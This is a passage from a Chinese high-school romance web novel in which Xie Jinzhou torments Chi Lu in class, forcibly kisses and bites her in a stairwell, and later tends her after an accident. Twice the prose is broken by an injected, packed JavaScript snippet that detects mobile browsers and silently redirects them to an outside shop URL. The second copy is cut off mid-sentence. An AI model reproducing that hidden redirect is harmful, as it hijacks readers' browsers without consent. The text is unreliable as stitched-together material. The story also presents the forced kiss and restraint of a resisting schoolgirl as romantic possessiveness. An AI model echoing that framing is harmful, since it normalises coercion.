“嗯。”谢劲舟懒懒地靠在椅背上,长腿一伸,伸到驰路椅子的横杠上,身体一前一后地晃着,悠闲懒散又狂妄不羁的模样。 罗子昂仿佛在听奇书,睁大眼睛、张大嘴巴地看着谢劲舟。 这可是谢劲舟史无前例、破天荒、第一次让他打开女生送来的礼物,而不是直接物归原主。 罗子昂百思不得其解。 他没废话,而是照做,打开第一颗星星,上面写了一个字:星。 等把小罐子里的星星都拆开,拼凑出一句话。 罗子昂一一将拆开的星星折纸摊在面前,重新组合好,一字一句念出来:“舟哥,星星在眨眼睛,你有没有听到有人在说,我喜欢你。” 具有诗意的告白,罗子昂说得浑身起鸡皮疙瘩,转而一想,要是有哪个女生给他说这样的话,好像不错。 谢劲舟依然在悠哉地晃着椅子,连着驰路的椅子也被他晃着,晃得驰路越来越烦。 她要稳住“好学生、乖学生”的人设,要忍! 驰路吃着紫菜饭团,想去打开热饮,刚想放下饭团,江迟却先她一步,帮她打开热饮盖子,递给她。 他很贴心,贴心地帮她买东西、拧瓶盖,在她生理期给她买热饮,给她讲解错题,也会贴心地再也不提“他要当她舔狗”的事。 仿佛那场广而告之的表白是一缕烟,随风而逝。 他们保持着同桌、朋友的关系,没有谁越界。 驰路喝着桃子味热饮,听到后桌继续指挥人:“继续。” 她佯装什么都没发生,自顾自吃着饭团。 罗子昂打开一封情书,念道:“舟哥,帅是你的代名词,酷是你的撒手锏,你是我一见钟情的人,你要不要尝试认识我一下?我是高一八班的陈灿。” 罗子昂念完,总结陈词:“啧啧,这情书,土得掉渣渣。” “你有吗?”谢劲舟根本没注意罗子昂在说什么,还在晃着椅子,视线盯着前桌。 前桌的椅子被他带动着晃动,椅子上的主人像坐了摇摇车,也晃呀晃。 “谢劲舟!”驰路终于受不了,放下饭团,转过身,瞪谢劲舟,“你停下!” “不停。”谢劲舟痞里痞气道,嘴角甚至还勾着一抹意味不明的笑。 “谢劲舟,你这样晃椅子,影响到驰路了,请把你的脚收回去。”江迟帮腔道。 结果,谢劲舟非但没听,反而越演越烈,不只是课间晃,上课期间也时不时晃她的椅子,附带玩她的头发,用手指在她后背上写写画画。 态度极其招人厌烦,丝毫不管驰路朝他投来的烦躁神色。 在静心小屋的一个月里,谢劲舟跟她相处,渐入佳境,她以为等他回来后,他们还可以和睦相处。 哪里想到他归校的第一天,依然本性不改,竟还明目张胆地戏弄她。 说好的做她的救世主呢?屁的救世主! 恶犬终究是恶犬,野性难驯。 但她并不知道,谢劲舟这样戏弄她,并非野性难驯,而是看她跟江迟走得近,格外不爽。 谢劲舟在她后背上写着什么,第一次写时,她只觉得后背痒痒的,没去关注他写了什么。 第二次写时,驰路想,他继续写的话,她就把桌椅都往前挪,让他不那么轻松地够到自己。 然而,驰路刚想挪桌子,却被人抓住校服外套,往后扯,扯到紧紧地贴着谢劲舟的桌子才停下。 驰路听到谢劲舟说:“跑什么!怕我吃了你?” 驰路听他悠然自得地说出这句话,气得想掀他的桌,侧头咬牙说:“谢劲舟,你能不能消停下?我要听课。” 谢劲舟才不管她听不听课,继续在她后背上写写画画。 算了,看来他是不会就此罢休了,驰路深呼吸了几口,平复下自己烦躁的情绪。 她状似在听老师讲课,其实注意力都在自己后背上。 谢劲舟第三次在她后背上一笔一划写时,驰路一点一点感受着。 他的每一笔都划过她后背上的断翅蝴蝶文身,力道比前三次的都要重,隔着校服,她不再感到痒,而感到有点疼。 他似乎要将这些字刻进她的皮肤。 驰路在心里将他的每一笔都记住,组合成一个字。 最后,字组成句子,像穿好的珍珠,终于成型。 是一行让驰路无法置信的句子。 “你是我的。” 43. 醋精舟爷好霸道 「你吻得暴烈。 像一场旷日持久的独占。 在我的世界里回响。」 ——《小蝴蝶的盛夏》 这天,驰路没主动找谢劲舟说过一句话,也没主动看过他一眼。 他招惹了她两节课,随后人就消失了,后桌空空的,听罗子昂说,他有场赛车比赛,下午两点开始,他提前去练练。 管它几点开始,都跟她无关。 想是这么想,但驰路有点担心,谢劲舟一个月没碰摩托车,比赛时会不会受伤,名次会不会落于人后? 到了下午两点,正在上化学课,在实验室做实验,驰路做得心不在焉,差点把化学液体倒到手上,幸好许婉即使帮她转了方向,才避免了悲剧发生。 许婉压低声音说:“阿驰,你小心点,都快倒手上了!你今天怎么了?一直注意力不集中。” “哦。”驰路的思绪这才回笼,仍旧一副平静模样,完全没意识到方才有多危险。 “婉婉。” “怎么了?” “你说,当一个人跟另一个人说‘你是我的’时,是什么意思?”驰路将化学液体倒进试管里,小声问许婉。 驰路实在想不明白,谢劲舟为什么要在自己后背上写那四个字。 “你是我的。”像一句魔咒,一直在驰路的脑中晃荡。 许婉忽然来了兴致,反问她:“是不是给你递情书的人写的?” 自从驰路被冠上芳町三中清纯版“鼓手头牌”后,不仅围观她的男生们暴涨,每天给她送情书的男生也是一茬又一茬。 情书,她能当面还给对方的会当面还回去,不能还回去的,一封没拆,会在男生围观时,把一个自制的纸盒放在外面,让男生们取回自己的情书。 这之后,送情书的男生越来越少,问她要联系方式的越来越多,她却一个没给过,一个没加过。 这些人,给她带来了很大的困扰,这是她没想到的。 但到底是自己种下的因,也只好承受这样的果。 驰路没有回答许婉的问题,许婉也没追问,而是回她:“这个人吧,我觉得,他能说出这句话,可能喜欢你,但占有欲更强。” * 所谓的占有欲是什么样的? 是曾经在蓝城时,文着花臂的社会哥揽住她的肩膀,调笑着跟她说:“驰路,你来做老子的妞儿。” 还是在蓝城时,花岗街的街霸独自约她出来,送她九百九十九朵玫瑰花,跟她碰杯喝酒时说:“驰路,你跟了我,以后我护着你!” 彼时,谁都知道,她混不吝,她名震四方,谁都想将她征服。 她有耳闻,当时私下下了能不能追上她的赌注时常发生,但她从来不碰男生,不碰爱情。 驰路在她老爸老妈身上看到了爱情最真实的样子,初识甜蜜,久处厌弃,各玩各的,约法三章,又互相干预,小架不断,大架不停。 只有在经营酒店方面,两人才达成共识,难听点,是为了牟利,好听点,用老妈的话说:“我们工作忙,还不是想多赚点钱,多赚钱为了谁?还不是为了你跟驰岸。” 驰路听到这话时,已经上初一,不再是可以被老妈忽悠的年纪,她知道,他们赚钱不只是为了她跟驰岸,还为了他们可以去花天酒地。 大人有时候就这样,自以为别人可以无条件相信他们的谎言,却不知当谎言说出口时,多么无知,多么令人讨厌。 当谢劲舟在她背上一笔一划写下“你是我的”时,他在想什么? 是他的恶作剧? 跟他玩弄她的头发、晃她椅子的行为一样? 还是如许婉所言,“可能喜欢你,但占有欲更强”? 驰路想来想去,得到的唯一答案,他没事玩她,随便写的一句话。 这事儿就此翻篇,但晚自习发生了一件事,让她对得出的答案产生了动摇。 * 此事的源头,是驰路看到江迟不舒服,帮他去接热水。 许婉跟她一起去:“江迟怎么了?” “他说,可能吃坏肚子了。” “要不要去给他买点胃药?” “我先去给他接水,待会儿去医务室帮他开点胃药。”驰路说。 “阿驰,我觉得江迟还是喜欢你,你对他有没有一点点感觉?”许婉跟她并排走着,一路上不少男生探出窗户,纷纷看传说中的清纯版“鼓手头牌”。 驰路已经习惯了这样的目光,统统无视:“现在,我们的首要任务,好好学习,明年,争取都考上理想的大学。” “唉哟,不愧是学霸啊,严格贯彻学习至上。”许婉说,“阿驰,如果你现在不是高三,也没有早/恋一说,江迟,有可能在你选择的范围?” “婉婉……”驰路刚想说点什么,却被许婉打断:“你看……” 驰路朝许婉指的方向看去,看到不远处走过来一个酷哥,染着银发,前面的刘海大部分梳到后面,扎了个小揪揪,剩下两侧的刘海长得到了脸颊,脖子、耳垂上都戴着银色首饰,典型一潮流酷哥。 驰路发现许婉的步子走慢了,转头看她,看到她露出惊讶又震惊的表情。 来人是程佑白,芳町一中的学霸,清白乐队的主唱,还有个不为人知的身份——许婉的暗恋对象。 程佑白从许婉面前经过时,只淡淡地看了她一眼,便继续往前走,仿佛只是点头之交。 “喂,程佑白!”许婉转身,看着他高大冷酷的背影,“你给我站住!” 程佑白停住脚步,在昏暗的走廊里,抬起他那双幽深的眼眸,声音低沉,极具磁性:“有什么事?” “没事就不能找你吗?”许婉直直地望着他,转而跟驰路说:“我先跟他聊聊,你去接水吧。” “好。”驰路发现,许婉一看到程佑白时,眼里都是光,像闪烁着无数星星,这就是喜欢一个人遮也遮不住的样子吧。 接热水时,预备铃声响起,在走廊里倚靠在栏杆上的学生们纷纷往教室里走。 驰路接完热水,也往教室的方向走去,却被人拽住手腕,一路拽到紧急逃生门后。 一头雾霾蓝的头发,刚剃了头发,短了些,露出脑袋右侧清晰的“X”,右耳骨上的黑色耳桥,在暗夜里依然那么醒目。 谢劲舟,他回来了! 气势汹汹地回来了! * 驰路被谢劲舟一把按在了门后,透过一扇小小的窗,月光洒进来,借着些微的光,她看到了他冷若冰霜的脸,眉头皱着,在生气。 他在生哪门子气? 他离她很近,气息尽数喷在她脸上。 驰路穿着校服、戴着黑框眼镜,一副好学生、乖乖女的样子,但此时,她一改在旁人面前立的乖巧人设,朝谢劲舟展示自己真实的样子。 她冷冷地对视谢劲舟,声音冷冽,烟嗓里像含着冰:“谢劲舟,你玩我玩了两节课,你还没玩够吗?” 如果是以前,有人敢这么玩她,她一定不会轻饶对方,但对方是谢劲舟,是她寄住家庭里说话有分量的谢家人,是芳町镇大佬,也是在雷雨天守护在她身边的人。 她对他的感情,比刚来时要复杂。 有时,她会觉得谢劲舟这人挺不错,有时又觉得他坏,变化莫测。 “你都没配合老子,算什么玩!”谢劲舟抬手捏住她的下巴,从她手里夺过塑料水杯,狠狠地摔到地上,砸出重重声响。 声音响时,恰好上课铃声响起,掩盖了水杯砸地的声音。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13560760|142700||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 驰路看着在地上滚了好多圈、最后滚到墙角的杯子,心头噌地冒火。 那是江迟的水杯,他怎么可以这样! 他为所欲为地有些过分了! “谢劲舟,你告诉我,我要怎么配合你,你才能玩够?”驰路压低嗓音,每个字都透着一股狠劲儿,重重地落在昏暗的楼道里。 外面偶尔响起来回走动的声音,三两个聚在一起的讨论声,此刻,响起了他们都能辨出来的声音。 “驰妹不是给你去接水的吗,人怎么没了?”罗子昂边走边说。 “接水的地方也没有。”江迟说,声音里带着点焦急,“会不会被谁带走了?” “黎静?”说不定,黎静还在为上次的事耿耿于怀,想逮着机会来报复驰路。 “应该不会,她这段时间很安分,没做什么。” “我说,江迟,你这么关心咱驰妹,不会还喜欢她吧!” “我什么时候说过不喜欢吗?” 两人的对话,格外清晰地透过门板传过来。 外面的声音依然响着,谢劲舟已经不去听,单手撑到门板上,俯身狠狠地吻住驰路,衔住她丰满的唇珠,用力叼起,往上扯着,扯得驰路发疼。 驰路被他突如其来的举动弄得一惊,几秒后回神,抬手想推开他,却被他禁锢住双手,抬高了压在她的头顶,让她动弹不得。 他扯着她嘴唇上的每寸肌肤,气息越发灼热,烘着她,像把她放在烤架上,嘴唇上一阵酥麻,身体渐渐发热。 谢劲舟移到她耳边,咬着她耳骨,低语:“现在,就是你配合老子的时候。” 这个浑蛋! “江迟,你换个人喜欢吧。” “喜欢一个人,又不是喜欢一个物品,说换就能换的。” 他们都停在过道上,干脆靠在栏杆上交谈。 驰路的双手挣扎着,但她越挣扎谢劲舟按得越厉害,把她的手腕都按疼了。 谢劲舟边按住她边动作狂野又霸道地直接挤进她的唇瓣,在她的嘴巴里横冲直撞,恶狠狠地进行掠夺。 唇齿间,有熟悉的香甜的白桃味,有她柔软的舌,他轻轻一挑,便勾住她舌尖,拼命缠绕。 驰路心跳如雷,狂跳不已,不只是因为谢劲舟对她近乎宣誓领地的掠夺,还因为外面有江迟、罗子昂,万一被他们发现了,会怎样? 他们在黑暗中,隐秘地做着只有情侣才会做的事。 对驰路而言,没有一丝享受,全是被人侵占的厌恶。 这让她想起第一次谢劲舟在赛车场的储物间吻她,彼时,他吻得霸道,吻得莫名其妙。 此刻,他比上次更过分,吻得比上次还凶狠,像山洪降临,他不管洪水会不会将她淹没,不顾后果地将所有洪水都朝她倾覆。 谢劲舟吻过她嘴巴里的每一处,吻得又狠又深,狠得让她几乎快喘不过气,深得几乎要探入喉间。 他为什么要这样对自己? 驰路睁着眼,清醒地看着他对自己的掠夺,看到他也睁着眼,对上自己眼眸的那刻,她看到了他眼底涌动着的火焰,灼热的,愤怒的,占有的,甚至,暗含欲/望。 她忽然想到谢劲舟课上在她后背上写的那行字:“你是我的。” 他现在的举动,几乎完美诠释了这句话。 她以为他对自己只是戏弄,现在他的举动,会不会是在吃江迟的醋,所以才会以这种最原始的方式对自己进行攻城掠地? “谢……劲……舟……”驰路艰难地从唇齿间溢出这三个字,还想说“你放开我”,却被谢劲舟叼住舌,让她无法言语。 他在她的舌尖撕咬、碾磨,像一头进攻弱小动物的野兽,进攻越来越猛烈,丝毫没有要放过她的意思。 44. 被钢管砸了 「我还没点燃血液,你的一举一动,已经将我燃烧。 火势汹涌,无法止息。 在火焰燃尽之前,我要做你的每一寸呼吸。」 ——《不夜港》 九月底的夜晚,天气已凉,小小的窗户开着,夜风吹来,风越来越大,吹得窗户撞在墙上,啪嗒啪嗒地响。 随之响起的,还有谢劲舟吻她时的声音,吻得两人的津/液互换,吻得舌头难舍难分,吻得他每一次猛烈地冲进她喉间时,都发出咕/噜咕/噜的水声。 驰路心湖上的涟漪四散、火焰四起,滚过她每个细胞,嵌入她每根骨骼,烧得她身体发烫、心底起火。 她会趁谢劲舟移开她舌时,咬他的舌头,咬了几次,两人口腔里全是铁锈味,但谢劲舟依然不松开。 外面江迟的声音还在说:“喜欢谁,我的心会告诉我,驰路,我不会放手的。” 不知是不是这句话彻底惹怒了谢劲舟,他松开驰路的唇,见她要开口喊人时,及时捂住了她的嘴巴,让她只能发出支支吾吾的声音。 谢劲舟伸出利齿,发狠似的在她脖颈上咬了一口,留下属于他的齿印。 青春年少,有那么多秘而不发,也有那么多横冲直撞,不知来路,不见归途,但总会似轰隆隆的火车,驶向前方,烙下无法抹去的属于那段时光的痕迹。 * 外面没了声响,谢劲舟也终于放过了她,松开了一直钳制她的手。 驰路像失去了所有力气,任由双手从头顶无力地落下,眼里的愤怒、狠厉却从未消散,用她那双特别的狐狸眼瞪着谢劲舟,像在用眼神无声地骂他,抵制他方才犯下的罪过。 谢劲舟的眼里却没有丝毫悔意或愧疚,反而露出难掩的占有、欲/火。 “谢劲舟,”驰路一开嗓,金属质感的烟嗓哑得不行,嘴巴里全是他的味道,“如果你对一个人的喜欢是这样,我不要!” “驰路,你听好,我喜欢谁,不喜欢谁,都是老子说了算!”谢劲舟捏住她的下巴,加重力,狂妄肆意,“你这样的,老子不喜欢!” “你浑蛋!”驰路抬腿,狠狠地朝他膝盖上踢,却被他躲过。 驰路挡掉他的手,沉声道:“谢劲舟,你要是不喜欢我,就别来招惹我,我不想陪你玩,没劲!” 谢劲舟俯身贴着她的耳朵说:“是你先招惹我的,你得付出代价。” 呼出的热气尽数溜进驰路的耳朵里,驰路立刻移开,她现在想远离关于谢劲舟的一切。 “神经病!”驰路实在不明白,他所说的“是你先招惹我的”,是什么意思? 她怎么就招惹他了? 他强吻她,他还有理了?躁郁症又犯了? “谢劲舟,不管你是不是因为喜欢我,还是想玩弄我,或者是你犯病了,我都奉劝你,下次别这样了,我不喜欢!”驰路边说边将把校服拉链拉到最上面,挡住他留在自己脖颈处的咬痕。 * 听不见江迟、罗子昂的声音,也听不见别人走路的声音,驰路才打开门离开。 谢劲舟没跟着她走,而是一拳砸在墙上,发出沉闷声响。 他不知道怎么了,他不喜欢这样的自己,情绪完全由不得自己。 谢劲舟站在窗口,倚墙靠着,听着窗户撞墙的声音,点燃了一根烟,狠狠抽起来。 外面的微光映在他身上,显得他格外清冷、落拓,又可有可无。 像江河湖海里的一滴水,就算蒸发,也无人在意。 …… “驰路,你怎么把拉链拉这么高?有这么冷吗?”回到教室,许婉看到驰路疑惑地问。 在她印象中,驰路可一点都不怕冷,今天也没那么冷啊,她干吗要这样? “刚出去风有点大。” “现在也没风了啊。” “程佑白来找你的吗?”驰路适时转移话题。 一提到程佑白,许婉立刻来了兴致:“有本书落他那儿了,给我送过来的。” 驰路之所以能成为“鼓手头牌”,都要拜许婉所赐。 那次,清白乐队的鼓手有事去不了,许婉为了帮程佑白的忙,多次央求她:“驰路,我在音乐教室听过你打鼓,打得很好听,你就帮帮程佑白吧,今晚没有鼓手,演出就要泡汤了。” 驰路不是无情无义之人,为了朋友,她答应下来。那次的演出,让她一战成名。 岑语欢扭头去看驰路,看到她小小的下巴被校服外套遮住了一半,也看到了她红肿的嘴唇,上面还沾着一点血迹。 她什么都没说,从抽屉里抽出一张湿巾,递给驰路:“擦擦嘴。” 驰路忽然有些心慌,像被人发现了某个秘密,从岑语欢手里接过湿巾,快速地胡乱地擦嘴。 岑语欢从她手中拿过湿巾,帮她擦掉那点血迹。 “谢谢!”驰路隐约看到纸巾上的一点红,朱砂痣似的,刮着她的心。 许婉没注意到那点红,问岑语欢:“语欢,你帮阿驰擦什么啊?” “就沾的一点吃的东西。” 许婉看着驰路的嘴巴:“阿驰,你是不是偷偷抹口红了,嘴巴的颜色看起来好好看。” 岑语欢看到驰路脸上露出的尴尬笑意,心里猜到了什么,又看向她的后桌,谢劲舟正从抽屉里随意拿出一本书,又拿出一本书,直到把面前放了一堆书,才随意地翻开最上面的那本看起来,表情烦躁。 从驰路穿谢劲舟的T恤,谢劲舟护送驰路回家,跟她说:“我要听马三拍的话,做驰路的守护神。”,到谢劲舟愿意让驰路坐他宝贝摩托车的后座,岑语欢就知道,她输了,输给了驰路。 谢劲舟谈过不少女朋友,但对谁都不上心,看那些女生的眼神也都浮在表面,根本没有丁点放在心上的意图。 岑语欢并不想成为这些女生中的一员,她要成为他放在心尖上的人,让他离不开自己。 她想等着,他从万千花丛中走过,最后发现,那些人,那些情感,都是无意义的,只有回到最真实的生活,只有她,才能给他真切的活着的感受。 但她错了,她发现,谢劲舟对她不过是好友之情,哪怕一丁点的喜欢都没有。 因为,他看她的眼神,跟他看驰路的眼神完全不一样。 他看她的眼神,常常跟看别人一样,淡然的,冷漠的,如高山之雪。 但他看驰路的眼神,像吃棉花糖拉出的丝,黏腻的,绵长的,扯不开的。 岑语欢坚持了这么多年的暗恋,终于在某一刻被生生斩断,宛若忽然被人连根拔掉的藤,根没了,藤也就枯萎了。 她的暗恋,枯萎了,到达终点了。 她的弟弟沈西顾跟她说:“姐,舟哥不喜欢你,你坚持个什么劲儿。你腆着脸对他好,他呢,换女朋友跟换衣服似的,而你,从来就不在他换衣服的范畴!别坚持了,放手吧。” 她知道,沈西顾说得有道理,就算不放手,也要放手了。 跟一个永远高攀不上的对手较量,结果注定输,既然早知道结局,就没必要固执地坚守。 等她说服自己放弃后,开始几天,看到谢劲舟时,还是会有难言的不甘、不舍,但渐渐便做到波澜不惊了。 她这才知道,没有什么不能放下,一直放不下的,永远是那颗被钉在原地的心。 岑语欢知道了驰路给谢劲舟静心小屋的改造计划。 那个小屋,是她从未踏足过的地方。 她输得彻底,庆幸自己没有越陷越深,庆幸自己早点抽身了。 她看驰路,不再以情敌的眼神看她,她把驰路放在谢劲舟在意的人位置上,对她的态度归位到新同学、新邻居、新朋友。 这些驰路都感受到了,自然也以同样的方式对她。 其实,她从未把岑语欢当作敌人。 驰路回许婉:“没涂口红,可能刚才喝的水比较烫,烫红了。” 话音刚落,驰路听到后桌传来了咳嗽声,连续几声,是一种刻意的声音,像一种嘲讽,落在有些吵闹的休闲娱乐区。 说到喝水,驰路想到江迟的水杯还在过道里,应该被摔得不成样了吧。 要跟江迟说点什么? “江迟,你的杯子……”驰路想着编个谎说“杯子丢了”,但不过是接水的功夫,杯子就丢了,未免太离谱。 江迟没问杯子的事,而是问她:“你刚才去哪儿了?我跟罗子昂去找你,没找到。” 驰路不得不说谎:“接了通电话,杯子放在一边,不知道被谁拿走了,我会给你买一个。” “还以为你出什么事了。”江迟看着驰路。 “我没事,你胃还难受吧?”驰路看着江迟病恹恹的样子,“我去医务室给你拿点药。” “麻烦你了。” 江迟站起来,让驰路走,她的余光无意间撞上谢劲舟的,他的眼神比平日里看起来还要冷漠、狠厉,像即将要咬人的野狗。 驰路只淡淡瞥了他一眼,很快移开视线,全当他视为空气。 “舟爷,你怎么看起来不开心?”罗子昂看着生闷气的谢劲舟。 “老子的东西,快被人抢了。”谢劲舟冷言冷语道。 驰路听到这话时,正好走到谢劲舟身后,她的嘴角抽动了下,脚步不自觉放慢,心中充满疑惑。 什么叫“老子的东西,快被人抢了”? 难道他把她当成他的私有物? * 下了晚自习,驰路骑着自行车回去,这次她绕了路,避开之前走的那几条小路,走了一条更偏僻的,在小巷里迷了路,又东拐西绕才出了巷子,回了家。 之所以要绕路,是这个月有不少尾随她回去问她要联系方式的,也有黎静那帮人找她茬,前几天,黎静把她堵在巷子里,趁其不备,撞倒了她,绑住她的双手,灌了她各种奇怪的食物,大笑着说:“驰路,只要你在这里一天,我就不会放过你。” 驰路知道,这种人一旦被人欺负回去,多有不甘,总会想着法子再还回去。 黎静消停得时间够长,敢欺负她,不过是看准了可能这段时间谢劲舟都不会回来,只要他不回来,就没人护着她,他们就可以明目张胆地欺负她。 那晚,天漆黑一片,星星都隐在乌云背后,路边时不时有车驶过、有人路过。 谢奶奶屋里的灯还开着,透过玻璃,驰路看到谢奶奶正在穿线,眼睛眯着看不清,穿了几次都没穿进去。 驰路敲了敲门,谢奶奶抬头看到了她,笑道:“阿驰,回来啦,你来帮奶奶穿下线。” 驰路走过去,坐到一把塑料凳子上,从谢奶奶手中接过针线,学着以前奶奶教自己的样子,先把线撵紧实了,再往细小的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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驰路继续说:“现在可以卖各种口味的手工饸饹面,等天气再凉些,除了卖没汤的饸饹面,还可以卖带汤的饸饹面。学校周围摆面摊也不用给房租费,人流量也大。” 谢奶奶戴起驰路给她买的老花镜,纳着鞋底,针穿上穿下,看样子极为专注,像是没听到驰路在说什么。 直到谢奶奶不小心把针戳到左手食指上才不得不停下来。 食指上瞬间冒出血珠,但谢奶奶只是皱了下眉头,没发出任何声音。 驰路看到后,又急又慌,不管不顾地用自己的手先按住谢奶奶食指上的伤口,帮她止血。 “我没事,也不是第一次被戳到了,一点小伤。”谢奶奶丝毫不在意,“阿驰,你别帮我按了,放点血也没事。” 驰路的心忽然一抽,疼了下,松开手:“我去拿下创口贴。” * 驰路上楼去取创口贴,开门时吓了一跳,发现阳台上站了两个人,一高一矮两个身影,高的正在安装晾衣架,小的正蹲在地上玩着什么。 她的房间没开灯,只有阳台上开了一盏小灯,昏黄小灯泡,极普通那种,极没有情调,她想换很久,但没有那个技术,晚上也不会去阳台开灯,就没管。 但她在静心小屋时,跟谢劲舟提过自己想在阳台上面安装个晾衣架,节省下面的空间。 她打算撤掉落地衣架,腾出空间来放把藤椅、种点洋桔梗,在寒冷的冬天来临之前布置好,等到了冬天,可以坐在藤椅上悠闲地晒太阳。 驰路走到阳台,落地衣架被折叠起来,靠在墙上,谢劲舟正踩在梯子上用铁丝缠钢管。 谢林乔正在下面玩玻璃弹珠,弹开一个,精准击中前方一排中的一个,又弹开一个,又精准击中。 谢劲舟专心缠着钢管,没发现驰路的到来,谢林乔倒是先发现了,转身叫了声:“阿驰姐姐。” 谢劲舟这才低头看,长时间拿着钢管,此时分了心,手上一松劲,另一头还没缠好的钢管往下倾斜。 眼看就要砸到谢林乔脑袋上,驰路连忙扑上去,把谢林乔紧紧地护在怀里,将她往旁边一带。 一股重压猛然砸在驰路的后背,她疼得往下一跌,单腿跪下,疼得咬牙,却没发出一点声音。 谢劲舟吓得面色一凛,连忙说:“驰路,快让开!” 她也想让开啊,但现在后背疼得她有些站不起来。 谢劲舟见她想站却站不起来的样子,知道情况不妙。 他匆忙将钢管挪到一边,钢管另一头没有着力,有些晃动,便用手托着,一边托着一边下来,最后将悬着的钢管放到梯子上才得以稳住。 谢劲舟疾步走到驰路身边,将她扶起来,蹙眉问:“砸疼了?” “能不疼吗!”驰路的背有些挺不直,微微弓着。 “我看看。” “你怎么看!” “哥哥,你是男生,不能看女生的身体。”谢林乔站起来,一本正经地说,“阿驰姐姐,我来帮你看看。” “小乔,你作业写完了吗?没写完的话,赶紧去写作业,阿驰姐姐没事。”驰路努力站直,面露笑容,佯装没事。 “好的。阿驰姐姐,谢谢你刚才救我!”谢林乔抱了抱驰路,抱完去捡地上的弹珠,离开前跟谢劲舟说:“哥哥安装衣架危险,阿驰姐姐你别站下面。” “好,我答应你。”驰路揉了揉谢林乔的脑袋。 小姑娘捧着她的玻璃弹珠回屋写作业了。 小姑娘一走,驰路便虚虚地靠在墙上,弓着背,垂着头。 谢劲舟见她不舒服的样子,拽着她的手就往她房间里走,把她按坐在床上,开始脱她的校服外套。 “谢劲舟,你干吗!”驰路被他莫名其妙的动作吓了一跳,连忙拽住他的手,阻止他下一步动作。 45. 小蝴蝶又梦游了 「终于相信,荒芜人间,月光会刺破夜空,撕掉黑暗。 Z,你就是那道月光。」 ——《小蝴蝶的盛夏》 “看看你有没有受伤。”谢劲舟的手停住,但依然放在她的校服拉链上。 “就轻轻碰了一下,一点事没有。”驰路的手还放在他的手上。 在暗黑的房间里,她抬头望着他,他漆黑深邃的眼眸里流露出一丝关切。 她的心弦微微一动,贴着他手背的掌心明明布满凉意,却似有火焰灼烧。 有一种难言的不可控的情愫,在她心头蔓延开。 她说不太上来什么感受,有些像鼓槌敲在架子鼓上,敲出强烈声响。 谢劲舟没松开手,锁着她的眼眸,用舌头顶了顶脸腮,沉声道:“知不知道刚才很危险,你逞什么能!” 他知道她在说谎,她怎么可能一点事没有。 那么重的钢管砸下去,不破皮,也会青一块。 他没想到驰路会不顾自己的安危,第一时间去保护谢林乔。 这让他想起上次谢鸿运打他时,驰路护着他的场景,想起他沉入湖底,她努力将他救上岸帮他做人工呼吸的画面。 他被繁花簇拥时,大家称兄道弟、一片祥和;他跌入谷底时,狐朋狗友也只是狐朋狗友,做不到肝胆相照,更做不到两肋插刀。 谢劲舟体验过升入云端的滋味,也经历过被人唾弃欺凌的时刻。 正因为他知道黑暗有多难捱,才更懂得裂缝中照进来的那点光有多珍贵。 “小乔没事就好。”驰路说得轻飘飘,后背的痛感却一点都没消失。 “你不是大城市来的公主吗,就没有一点保护自己的意识?”谢劲舟移开放在她校服拉链上的手,捏住她的手腕,神色冷冽。 “公主?”驰路眸子里闪过一丝凄凉,哼笑道,“曾经是,但现在不是了。” 用金属质感的烟嗓说出这样一句话,在暗夜里,显得格外悲凉。 家里飞黄腾达时,她是被众人簇拥的大小姐、公主,但家道中落后,什么大小姐、公主,这些头衔再与她无关。 她不过是被世界遗弃的可有可无的人。 “在老子这里,你就是公主!”谢劲舟用指腹下意识地磨着她的手腕。 目光里的冷冽,化作一团暗火,与驰路的视线交缠。 * 驰路下楼把创口贴送给谢奶奶,帮她贴上时,心口狂乱的跳动还没平息。 谢劲舟的那句话如擂鼓般,在她的心间振动,她不再是谁的公主,却成了他的公主。 他说得那么认真,她一时辨不清真假。 在某个瞬间,她当了真,带着这份真,她的心湖被他搅得翻天覆地。 这份混乱,跟他强吻她时完全不一样,而是带着一种酸涩的微甜,像吃了一颗酸涩的青梅,余味留香,清清甜甜。 从她下楼时,她的嘴角便一直上扬着,她却丝毫未发觉。 “阿驰,有什么开心事吗?从你下楼,你就一直在笑。”谢奶奶继续纳鞋底。 驰路看着窗户上映出的自己,嘴角、眉眼间,都悬着笑。 笑得那么纯真,仿佛不谙世事的小孩。 这样的自己,许久不见,既熟悉又陌生。 驰路扯了个谎:“一道一直解不出的题,忽然想通怎么解了。” “还是阿驰学习上心,走路都在想题目。”谢奶奶扶了扶往下滑的老花镜,“阿驰啊,在山上的一个月,你不是帮小谢补课吗,补得怎么样?” “谢奶奶,您放心,帮小谢补课卓有成效。”驰路说,“这周不是要月考了吗,谢奶奶拭目以待吧。” 谢奶奶放下鞋底,握住驰路的手,摩挲着:“阿驰,小谢和小乔的补课还麻烦你多多费心。你也看到,像我们这样的家庭,去不了培训班,请不起家教。小谢和小乔的脾气还都怪得很,尤其是小谢,有时候太暴躁,有时候又太沉默,搞不懂他想些什么。” 谢奶奶难道不知道谢劲舟患有躁郁症? 驰路不想让谢奶奶担心,对于谢劲舟的负面信息只字不提:“谢奶奶,有我在,你什么都不用担心,我会帮他们辅导功课的。” “真是好孩子。”谢奶奶说,“你要是不嫌弃,谢奶奶给你做双布鞋,要不要?” “好啊。”驰路笑道,“只要是谢奶奶做的,我都要,还会穿!” 谢劲舟帮谢林乔下来找橡皮,正在厅堂里的他,听到了她们的聊天。 橡皮找到了,但他没上楼,而是继续听着。 恍惚间,他有种错觉,仿佛驰路真是谢家一份子,仿佛她真是谢奶奶的亲孙女。 如此温馨和睦的家庭氛围,让他产生了不真切感。 好像回到了小时候,自己窝在奶奶怀里,缠着奶奶讲故事的时光。 听到这儿,他才上楼去找谢林乔,没听到接下来的话。 驰路发现谢奶奶的不对劲,是她一直不正眼看她,垂着头,看起来自然,但又不自然。 她使了个小伎俩,右手握拳,故意举高:“谢奶奶,你猜我手里拿着什么。” 